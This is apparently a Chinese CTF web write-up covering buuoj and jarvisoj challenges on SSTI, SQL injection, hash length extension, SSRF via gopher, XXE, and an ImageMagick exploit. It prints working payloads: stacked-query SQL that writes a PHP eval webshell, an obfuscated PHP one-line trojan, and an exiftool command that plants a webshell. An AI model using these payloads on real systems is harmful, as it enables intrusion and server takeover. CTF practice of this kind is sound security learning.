web做题记录(buuoj,jarvis,攻防世界,bugku,hackme)

2023-11-19

web做题笔记

buuoj

easy_tornado

tornado是一个python写的web服务器

读取文件hint.txt:md5(cookie_secret+md5(filename))

我们只要找到cookie_secret 就能读取任意文件

直接搜cve:找到一个\r\n分割请求的。。好像搞不到cookie_secret

找到error?msg=Error模板注入???

{ {1.}}出现1.0 九成九模板注入,是什么模板?估计是自己的template

cookie_secret在tornado.web.Application中

黑名单:",',(,),_,%,*,+,-,/,=,[,],\\,|

{ { {1,2,3} }}

又是一次思维定势,老想着__class__啥的,后来被提醒一下,才意识到拿到cookie_secret并不需要命令执行,完全可以读类来获取信息

有两种比较好的办法找到cookie_secret在哪

  • 写个脚本,把所有的类跑一边
  • 读代码找到可疑的类

最后的payload:{ {handler.application.settings}}

'cookie_secret': 'f680f1d4-b940-40c2-9f82-0b1832c64479'

随便注

禁用return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

emmmm还有creater…

查询语句类似:select xxx from xxx where xxx='1'

测试清单:

1#  没有闭合单引号却有查询结果
1""""""" 可以查询到,猜测过滤了"

0' "o"r 1#
check the manual that corresponds to your MariaDB server version for the right syntax to use near 'r 1#'' at line 1</pre>
正常的报错
check the manual that corresponds to your MariaDB server version for the right syntax to use near '"o"r 1' at line 1
单纯的想多了
extractvalue(1, concat(0x7e, (database()),0x7e));

用报错注入弄出数据库名:supersqli

version:10.3.18-MariaDB

host:6e161107d1dd

port:3306

dir:/var/lib/mysql/

可以执行多条语句,

show variables like 'general_log';  -- 查看日志是否开启
set global general_log=on; -- 开启日志功能
show variables like 'general_log_file';  -- 看看日志文件保存位置
set global general_log_file='tmp/general.lg'; -- 设置日志文件保存位置
show variables like 'log_output';  -- 看看日志输出类型  table或file
set global log_output='table'; -- 设置输出类型为 table
set global log_output='file';   -- 设置输出类型为file

这些命令都可以执行

试着写个webshell

1';set global general_log_file=0x2F7661722F7777772F68746D6C2F72652E706870;#

1';set global general_log=on;

webshell:Access denied.

草,用prepare执行预定义sql语句/为啥我搜不到…

1';Set @sql=concat("s","elect '<?php @eval($_POST[a]);?>' into outfile '/var/www/html/44",char(46),"php'");PREPARE sqla from @sql;EXECUTE sqla;

warmup


<?php
    highlight_file(__FILE__);
    class emmm
    {
   
        public static function checkFile(&$page)
        {
   
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
   
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
   
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

 $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
   
                return true;
            }

这里有个逻辑漏洞,如果我们构造hint.php?那么后面的内容随我们控制用…/xxx来读取

hint.php?/../ffffllllaaaagggg

读取失败//

emmmmmm,flag在根目录

easysql

猜测sql语句类似:select xx from xx where xx=query

select query from xxxx;

输出:

too long,nonono,结果

长度限制:40

黑名单:sleep,or,",from,where,outfile

奇怪的输出

123=>1

123#=>123

由这两个可以猜测sql语句类似

select query from xxxx;

database();select%201%23

结果

Array
(
    [0] => ctf
)
Array
(
    [0] => 1
)

可以执行多个sql语句,可以试着用prepare绕过黑名单禁用from…

1;show%20databases%23


Array
(
    [0] => 1
)
Array
(
    [0] => ctf
)
Array
(
    [0] => ctftraining
)
Array
(
    [0] => information_schema
)
Array
(
    [0] => mysql
)
Array
(
    [0] => performance_schema
)
Array
(
    [0] => test
)

可在了禁了from上

后来看到Give me your flag, I will tell you if the flag is right.

并且flag存在表里,所以应该有from Flag

构造payload :*,1

高明的黑客

题目提供的文件却是在网站上,但是不知道哪里能命令执行

还有网站的配置也很奇怪

jarvisoj

re?

看wp。

百度一下发现udf(user defined function)是mysql的自定义函数

所以要导入到mysql中。

步骤

> show variables like "%plugin%";
+---------------+------------------------+
| Variable_name | Value                  |
+---------------+------------------------+
| plugin_dir    | /usr/lib/mysql/plugin/ |
+---------------+------------------------+

把 udf.so 移到该目录下

> create function help_me returns string soname 'udf.so';
> select help_me();
+---------------------------------------------+
| help_me()                                   |
+---------------------------------------------+
| use getflag function to obtain your flag!!  |
+---------------------------------------------+

> create function getflag returns string soname 'udf.so';
> select getflag();
+------------------------------------------+
| getflag()                                |
+------------------------------------------+
| PCTF{Interesting_U5er_d3fined_Function}  |
+------------------------------------------+

> drop function help_me;
> drop function getflag;

flag在管理员手上

扫目录发现源代码的vim交换文件

vim -r 还原

得到


<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
        body {
   
                background:gray;
                text-align:center;
        }
</style>
</head>

<body>
        <?php
                $auth = false;
                $role = "guest";
                $salt =
                if (isset($_COOKIE["role"])) {
   
                        $role = unserialize($_COOKIE["role"]);
                        $hsh = $_COOKIE["hsh"];
                        if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
   
                                $auth = true;
                        } else {
   
                                $auth = false;
                        }
                } else {
   
                        $s = serialize($role);
                        setcookie('role',$s);
                        $hsh = md5($salt.strrev($s));
                        setcookie('hsh',$hsh);
                }
                if ($auth) {
   
                        echo "<h3>Welcome Admin. Your flag is 
                } else {
                        echo "<h3>Only Admin can see the flag!!</h3>";
                }
        ?>
        
</body>
</html>

典型的哈希长度扩展攻击

唯一不确定的就是密钥长度,写个脚本爆破

#!/usr/bin/env python
import os
import requests
import urllib
def rev(s):
	s=eval("'"+s+"'")
	return urllib.quote(s[::-1])

for i in range(128):
	print(123)
	tmp=os.popen("hashpump -s 3a4727d57463f122833d9e732f94e4e0 --data "+'\'s:5:"guest";\''[::-1]+' -a '+'\'s:5:"admin";\''[::-1]+" -k "+str(i)).readlines()
	print("hashpump -s 3a4727d57463f122833d9e732f94e4e0 -d "+'\'s:5:"guest";\''[::-1]+' -a '+'s:5:"admin";'[::-1]+" -k "+str(i))
	hsh=tmp[0].replace('\n','')
	role=rev(tmp[1].replace('\n',''))
	cookie={
   'hsh':hsh,'role':role}
	text=requests.get("http://web.jarvisoj.com:32778/",cookies=cookie).text
	if 'CTF' in text :
		print(text)
		break
	print(cookie)

api调用

请设法获得目标机器/home/ctf/flag.txt中的flag值。

image.png

点击按钮发生:

function send(){
   
 evil_input = document.getElementById("evil-input").value;
 var xhr = XHR();
     xhr.open("post","/api/v1.0/try",true);
     xhr.onreadystatechange = function () {
   
         if (xhr.readyState==4 && xhr.status==201) {
   
             data = JSON.parse(xhr.responseText);
             tip_area = document.getElementById("tip-area");
             tip_area.value = data.task.search+data.task.value;
         }
     };
     xhr.setRequestHeader("Content-Type","application/json");
     xhr.send('{"search":"'+evil_input+'","value":"own"}');
}

向这个api请求。想了半天,试各种非法输入,长度限制都没用,中间猜测xxe,虽然有了思路但是却无从下手,看到flask又想到模板注入,还是无处下手

最后看了wp,把请求头Content-Type: application/json改为

Content-Type: application/xml来进行xxe,我也是醉了/fad

chopper

感觉这题有点傻逼

小明入侵了一台web服务器并上传了一句话木马,但是,管理员修补了漏洞,更改了权限。更重要的是:他忘记了木马的密码!你能帮助他夺回控制权限吗?

关卡入口:http://web.jarvisoj.com:32782/

抓包,扫目录,然后发现了proxy.php

admin目录源码提示只有202.5.19.128才能访问

proxy.php是标准的ssrf,访问202.5.19.128

	var url = <br />
<b>Notice</b>:  Undefined variable: url in <b>/opt/lampp/htdocs/index.php</b> on line <b>17</b><br />
'';
	if(window.dialogArguments)
		url = window.dialogArguments[1];
	var str = '';
	str += '<frameset rows="*, 25" cols="*" framespacing="0" frameborder="0" border="0" id="window_open_frame">';
	str += '<frame name="contentFrame" src="'+url+'" scrolling="auto" noresize>';
	str += '</frameset><noframes></noframes>';
	document.write(str);

没有用,无法进行ssrf

然后扫202.5.19.128的目录发现了1.php…和index.php一样

利用报错得知是用curl来访问url的,并得到了文件的绝对路径

尝试用file://协议来读取文件,发现被过滤

后来弄着弄着想,会不会对GET和POST的处理方式不一样…还真是

成功利用file://localhost/opt/lampp/htdocs/proxy.php读取到文件

接着利用这个扫admin目录

找到

User-agent: *
Disallow:trojan.php
Disallow:trojan.php.txt

trojan.php

<?php ${
   ("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");${
   ("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));?>

密码是360,但是请求方法是POST

接下来就只剩下利用202.5.19.128来进行ssrf,然后我在这里卡了一个晚上

最后看别人的wp才知道这里有一个proxy.php,我就炸了。

剩下的就简单了,利用gopher协议来发送POST请求

最后的payload:

GET /proxy.php?url=http://202.5.19.128/proxy.php?url=gopher://web.jarvisoj.com:32782/_%252550%25254f%252553%252554%252520%25252f%252561%252564%25256d%252569%25256e%25252f%252574%252572%25256f%25256a%252561%25256e%25252e%252570%252568%252570%252520%252548%252554%252554%252550%25252f%252531%25252e%252531%25250d%25250a%252548%25256f%252573%252574%25253a%252520%252577%252565%252562%25252e%25256a%252561%252572%252576%252569%252573%25256f%25256a%25252e%252563%25256f%25256d%25253a%252533%252532%252537%252538%252532%25250d%25250a%252543%252561%252563%252568%252565%25252d%252543%25256f%25256e%252574%252572%25256f%25256c%25253a%252520%25256d%252561%252578%25252d%252561%252567%252565%25253d%252530%25250d%25250a%252555%252570%252567%252572%252561%252564%252565%25252d%252549%25256e%252573%252565%252563%252575%252572%252565%25252d%252552%252565%252571%252575%252565%252573%252574%252573%25253a%252520%252531%25250d%25250a%252555%252573%252565%252572%25252d%252541%252567%252565%25256e%252574%25253a%252520%25254d%25256f%25257a%252569%25256c%25256c%252561%25252f%252535%25252e%252530%252520%252528%252557%252569%25256e%252564%25256f%252577%252573%252520%25254e%252554%252520%252531%252530%25252e%252530%25253b%252520%252557%252569%25256e%252536%252534%25253b%252520%252578%252536%252534%252529%252520%252541%252570%252570%25256c%252565%252557%252565%252562%25254b%252569%252574%25252f%252535%252533%252537%25252e%252533%252536%252520%252528%25254b%252548%252554%25254d%25254c%25252c%252520%25256c%252569%25256b%252565%252520%252547%252565%252563%25256b%25256f%252529%252520%252543%252568%252572%25256f%25256d%252565%25252f%252537%252537%25252e%252530%25252e%252533%252538%252536%252535%25252e%252539%252530%252520%252553%252561%252566%252561%252572%252569%25252f%252535%252533%252537%25252e%252533%252536%25250d%25250a%252541%252563%252563%252565%252570%252574%25253a%252520%252574%252565%252578%252574%25252f%252568%252574%25256d%25256c%25252c%252561%252570%252570%25256c%252569%252563%252561%252574%252569%25256f%25256e%25252f%252578%252568%252574%25256d%25256c%25252b%252578%25256d%25256c%25252c%252561%252570%252570%25256c%252569%252563%252561%252574%252569%25256f%25256e%25252f%252578%25256d%25256c%25253b%252571%25253d%252530%25252e%252539%25252c%252569%25256d%252561%252567%252565%25252f%252577%252565%252562%252570%25252c%252569%25256d%252561%252567%252565%25252f%252561%252570%25256e%252567%25252c%25252a%25252f%25252a%25253b%252571%25253d%252530%25252e%252538%25252c%252561%252570%252570%25256c%252569%252563%252561%252574%252569%25256f%25256e%25252f%252573%252569%252567%25256e%252565%252564%25252d%252565%252578%252563%252568%252561%25256e%252567%252565%25253b%252576%25253d%252562%252533%25250d%25250a%252541%252563%252563%252565%252570%252574%25252d%25254c%252561%25256e%252567%252575%252561%252567%252565%25253a%252520%25257a%252568%25252d%252543%25254e%25252c%25257a%252568%25253b%252571%25253d%252530%25252e%252539%25252c%252565%25256e%25252d%252555%252553%25253b%252571%25253d%252530%25252e%252538%25252c%252565%25256e%25253b%252571%25253d%252530%25252e%252537%25250d%25250a%252543%25256f%25256e%25256e%252565%252563%252574%252569%25256f%25256e%25253a%252520%252563%25256c%25256f%252573%252565%25250d%25250a%252543%25256f%25256e%252574%252565%25256e%252574%25252d%252554%252579%252570%252565%25253a%252520%252561%252570%252570%25256c%252569%252563%252561%252574%252569%25256f%25256e%25252f%252578%25252d%252577%252577%252577%25252d%252566%25256f%252572%25256d%25252d%252575%252572%25256c%252565%25256e%252563%25256f%252564%252565%252564%25250d%25250a%252543%25256f%25256e%252574%252565%25256e%252574%25252d%25254c%252565%25256e%252567%252574%252568%25253a%252520%252537%25250d%25250a%25250d%25250a%252533%252536%252530%25253d%252522%252570%252568%252570%252569%25256e%252566%25256f%252528%252529%25253b%252522 HTTP/1.1
Client-Ip: 202.5.19.128
X-Forwarded-For: 202.5.19.128
Host: 202.5.19.128
Referer: 202.5.19.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

图片上传漏洞

非常简单,但是想记录一下这道题利用的cve

题目提示图片上传漏洞,扫目录发现test.php里是phpinfo

结合提示猜测是imagmagic的cve,看了一下版本ImageMagick 6.7.7-10,可以利用imagemagic的命令执行漏洞

p牛的分析https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html

还有phpinfo要注意的内容https://seaii-blog.com/index.php/2017/10/25/73.html

根据题目提示修改png的exif来利用

最终生成exp的payload:

exiftool -label="\"|/bin/echo '<?php eval("'$_POST[a])'"?>' > /opt/lampp/htdocs/uploads/flag.php ; \"" 2.png 

inject

<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{
     $table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{
     $table}";
$ret = sql_query($sql);
echo $ret[0];
?>

mysqli_query($mysqli,"desc secret_{$table}")不报错的时候,才能查询

 DESC tbl_name [col_name | wild]

payload:

table=test` `sql inject

table:secret_flag,secret_test

web?

抓包分析发现,向一个json文件发送信息,不明所以,于是去分析前端js代码

发现本地的密码校验

function(e) {
   
                if (25 !== e.length)
                    return !1;
                for (var t = [], n = 0; n < 25; n++)
                    t.push(e.charCodeAt(n));
                for (var r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259], o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

web做题记录(buuoj,jarvis,攻防世界,bugku,hackme) 的相关文章

  • 2021年江苏省职业院校技能大赛中职 网络信息安全赛项试卷--web安全渗透测试解析

    2021年江苏省职业院校技能大赛中职 网络信息安全赛项web安全渗透测试 2021年江苏省web安全渗透测试任务书 2021年江苏省web安全渗透测试任务书解析 如果有不懂得地方可以私信博主 欢迎交流 需要环境得 可以加博主联系方式 202
  • 虚拟机内搭建CTFd平台搭建及CTF题库部署,局域网内机器可以访问

    一 虚拟机环境搭建 1 安装docker git docker compose ubuntu sudo apt get update 更新系统 sudo apt get y install docker io 安装docker sudo a
  • CTFSHOW【萌新计划】Writeup

    CTFSHOW 萌新计划 web1 萌新计划 web2 萌新计划 web3 萌新计划 web4 萌新计划 web5 萌新计划 web6 萌新计划 web7 萌新计划 web8 萌新计划 web9 萌新计划 web10 萌新计划 web11
  • upload-labs:pass-10

    is upload false msg null if isset POST submit if file exists UPLOAD PATH deny ext array php php5 php4 php3 php2 html htm
  • ctf.show web入门(信息搜集) 1~20

    目录 web1 源码 web2 源码 web3 抓包 web4 robots web5 index phps web6 解压源码泄露 web7 git泄露 web8 svn泄露 web9 vim缓存 web10 cookie web11 域
  • [羊城杯 2020]A Piece Of Java

    羊城杯 2020 A Piece Of Java 文章目录 羊城杯 2020 A Piece Of Java 源码分析 从后往前测试 逐步写exp 构造DatabaseInfo类对象 InfoInvocationHandler 动态代理 序
  • ctfshow_web149

    打开容器
  • 攻防世界Web题 - unseping 总结

    攻防世界Web题 unseping 总结 1 审题 进入题目 可以看出来是典型的php反序列化题目 2 源代码分析
  • VulnHub_Jangow: 1.0.1

    本文内容涉及程序 技术原理可能带有攻击性 仅用于安全研究和教学使用 务必在模拟环境下进行实验 请勿将其用于其他用途 因此造成的后果自行承担 如有违反国家法律则自行承担全部法律责任 与作者及分享者无关 主机信息 kali 192 168 31
  • sql注入万能密码总结

    select from admin where username and password 第一种 当你已知管理员账号名为admin时可以直接尝试 admin select from admin where username admin a
  • 【CTF/MISC】图片隐写题(binwalk/foremost/010editer配合使用)

    图片隐写 题目 解题思路 binwalk工具查看是否有隐藏文件 foremost工具分离文件 010editer查看二进制数据 寻找解压密码 解题心得 题目连接 题目 题目是一张图片 寻找题目中隐藏的flag 解题思路 一般来说我碰到图片隐
  • adworld-web2

    web2 GFSJ0627积分 2金币 2 91最佳Writeup由 Robert Wei 提供 收藏 反馈 难度 2 方向 Web 题解数 108 解出人数 10185 题目来源 CTF 题目描述 解密 题目场景 http 61 147
  • 安恒10月夺旗赛

    概述 昨天参加的比赛 这个比赛是信安之路微信公众号和安恒合作的一个比赛 是个人赛 作为一个大一的嫩鸡 还是搞web的 对于re和pwn毫无办法 所以昨天最终的结果是这样的 过程 这一次部分题需要用VPN内网访问 但是不知道为什么刚开始的时候
  • 网络安全实验室CTF练习部分题目(持续更新)

    1 脚本关 微笑一下 过关地址 http lab1 xseclab com base13 ead1b12e47ec7cc5390303831b779d47 index php 查看源代码 include flag php smile 1 i
  • [2021首届“陇剑杯”网络安全大赛] SQL注入

    2021首届 陇剑杯 网络安全大赛 SQL注入 题目描述 某应用程序被攻击 请分析日志后作答 黑客在注入过程中采用的注入手法叫 布尔盲注 格式为4个汉字 例如 拼搏努力 黑客在注入过程中 最终获取flag的数据库名 表名和字段名是 Sqli
  • XSS常见的触发标签

    无过滤情况 img 图片加载错误时触发 img src x img src 1 鼠标指针移动到元素时触发 img src 1 鼠标指针移出时触发 img src 1 a a href https www qq com qq a a href
  • 强网杯 2019]随便注 【SQL注入】四种解法

    题目简介 题目名称 强网杯 2019 随便注 1 题目平台 BUUCTF 题目类型 Web 考察知识点 SQL注入 解题步骤 方法一 首先启动并访问靶机 有一个输入框 随便输入1 or 1 1 测试一下是否存在sql注入 提交后提示erro
  • CTF图片隐写题

    1 隐藏在图片属性里的信息或者以文本形式打开能直接获取的信息 例如实验吧里的一道题 这个背影我给满分 就是将信息隐藏在属性里 又或者文本形式能直接看到的 分别是黑客榜中榜游戏和南邮平台的两道题
  • Java安全知识share

    这里简单的介绍一下自己创建的知识星球 为什么要用知识星球呢 一方面他有APP然后方便使用里面的文章标签等功能 另一方面可能有一点点 哈哈哈 总的来说是方便使用 该知识星球包括Java相关的安全知识和其他相关的安全知识php nodejs C
  • 我如何检查 base64 字符串是否是文件(什么类型?)?

    我参加了 Spentalkux 挑战https 2020 ractf co uk https 2020 ractf co uk 这是我第一次参加CTF挑战 所以我解决了https github com W3rni0 RACTF 2020 b

随机推荐

  • PostgreSQL清空表并保留表结构、清空数据库还原数据库为新建时的状态的方法

    清空表并保留表结构 一般情况下 我们使用delete删除表中数据 但是delete是一条数据一条数据来删除表中的数据 直至表清空 保留表结构 但是当数据量很大时 它耗时较久 其实 删除表数据但保留表结构使用truncate更快速安全 使用方
  • ubuntu18.04配置cuda(RTX3080Ti)

    10系的显卡换成30系显卡后 之前配好的深度学习环境出现了兼容问题 索性重装系统 从零开始配环境 过程中也出现了各种对新显卡不兼容的情况 以下的配置是本人摸索最终成功的版本 特此记录一下 首先就是安装ubuntu18 04 这个不是本文的重
  • 常见改机软件及其原理

    1 改机原理分析 1 1 IOS设备改机原理 在iOS上目前所有流行的改机工具 本质上是利用substrate框架对某些用来获取设备和系统参数函数进行hook 从而欺骗App达到修改的目的 具体如下 用作获取设备参数的函数 无论是C函数 还
  • 蓝桥杯-2020年省赛-回文日期

    498 import datetime n input start datetime date int n 4 int n 4 6 int n 6 delta datetime timedelta days 1 flag 0 for i i
  • Ubuntu的快乐学习2——SnowBoy语音唤醒

    Ubuntu的快乐学习2 SnowBoy语音唤醒 学习前言 安装步骤 一 麦克风检测部分 1 安装pulseaudio和sox 2 安装其它软件依赖 二 获取源代码 学习前言 为了部落 安装步骤 一 麦克风检测部分 1 安装pulseaud
  • ubuntu20编译运行orb-slam3踩坑

    orb3 编译网上教程很多 写一下自己安装编译过程中踩的坑 一个半星期 终于可以跑demo了 1 出现如下问题 或者在Build target g2o时 卡住 make 2 CMakeFiles ORB SLAM3 dir build ma
  • Vue上传文件到springboot

  • Android中JNI在C/C++中的区别

    一 一个疑问 在进行JNI编程中 同样一个函数FindClass C和C 中有不同的用法 如果是C 要用 env gt FindClass str 如果是C要用 env gt FindClass env str 类似的区别几乎涉及到每一个结
  • 10 财政收入影响因素分析及预测模型

    4 10 财政收入影响因素分析及预测模型 10 1背景与挖掘目标 本案例通过研究发现影响目前以及未来地方财源建设的因素 并对其进行深入分析 提出对该市地方财源优化的具体建议 供政府决策参考 同时为其他发展较快的城市提供借鉴 本案例对1994
  • 1.Cesium介绍及环境配置

    前言 鸽了半年 flag立的太多 稿子存了100多篇 都没有开始排版整理 这些天正好学习cesium 决定每天更新一篇 提提神 一 Cesium简介 Cesium是一个用于显示三维地球的开源库 旨在释放3D数据的力量 它基于WebGL技术
  • Kmeans K均值聚类,OpenCV实现

    Clustering 聚类 kmeans k均值聚类 Finds centers of clusters and groups input samples around the clusters 寻找clusters的中心 并且将输入的样本
  • java 管程

    管程即Monitor 监视器 也叫锁 Monitor其实是一种同步机制 保证只有一个线程可以访问被保护的数据和代码 JVM中同步是基于进入和退出监视器对象 Monitor 来实现的 每个对象实例都会有一个Monitor对象 和java对象一
  • public static void main(String[] args) { //填入通过分享获取到的抖音视频地址 String videoUrl = getVid...

    这段代码的作用是从抖音 douyin 分享链接中获取视频的无水印播放地址 首先 它通过调用 HttpRequest get url 方法获取抖音视频的分享页面的 HTML 源代码 然后 通过调用 sub 方法并传入 HTML 源代码 开始字
  • 华为面试之Hr面,这个套路把我坑惨了......

    作为技术类的测试工程师面试 往往要经过多次面试才能拿到心仪的offer 这里面有技术一面 二面 甚至总监面等 还有一个必不可少的就是HR面 一般HR会出现在你面试的最前面和最后面 前面是了解你的基本情况 后面就是你已经通过了技术面试 他是来
  • Python3多进程(mutiprocessing)

    和Threading的比较 多进程 Multiprocessing 和多线程 threading 类似 他们都是在 python 中用来并行运算的 不过既然有了 threading 为什么 Python 还要出一个 multiprocess
  • linux文件权限说明(drwxr-xr-x)

    在linux中查看文件的时候 在每一行的最前面会有这样的一串字符 drwxr x 如下面的样例 drwxr x 2 root root 37 Apr 18 10 50 data rw r r 1 root root 68549 Sep 26
  • 95-34-030-Context-DefaultChannelHandlerContext

    文章目录 1 概述 2 继承体系 3 源码 1 概述 2 继承体系 3 源码 final class DefaultChannelHandlerContext
  • 写个剧本,关于风花雪夜的

    起 一个寒冷的晚上 一位年轻的男子走在冰冷的雪地上 他只带着一把手电筒和一双雪靴 行走在漆黑的夜晚 细节 他看到了一片白色的风景 突然 一股强烈的风吹过 让他感觉到了一股温暖 他看到了一片花海 花朵们被风吹得起舞 像美丽的舞蹈一样 它们的芳
  • 错误码:events.js:141 throw er; // Unhandled ‘error’ event—解决办法

    错误码 events js 141 throw er Unhandled error event 解决办法 具体错误信息 dev events js 141 throw er Unhandled error event Error list
  • web做题记录(buuoj,jarvis,攻防世界,bugku,hackme)

    web做题笔记 文章目录 web做题笔记 buuoj easy tornado 随便注 warmup easysql 高明的黑客 jarvisoj re flag在管理员手上 api调用 chopper 图片上传漏洞 inject web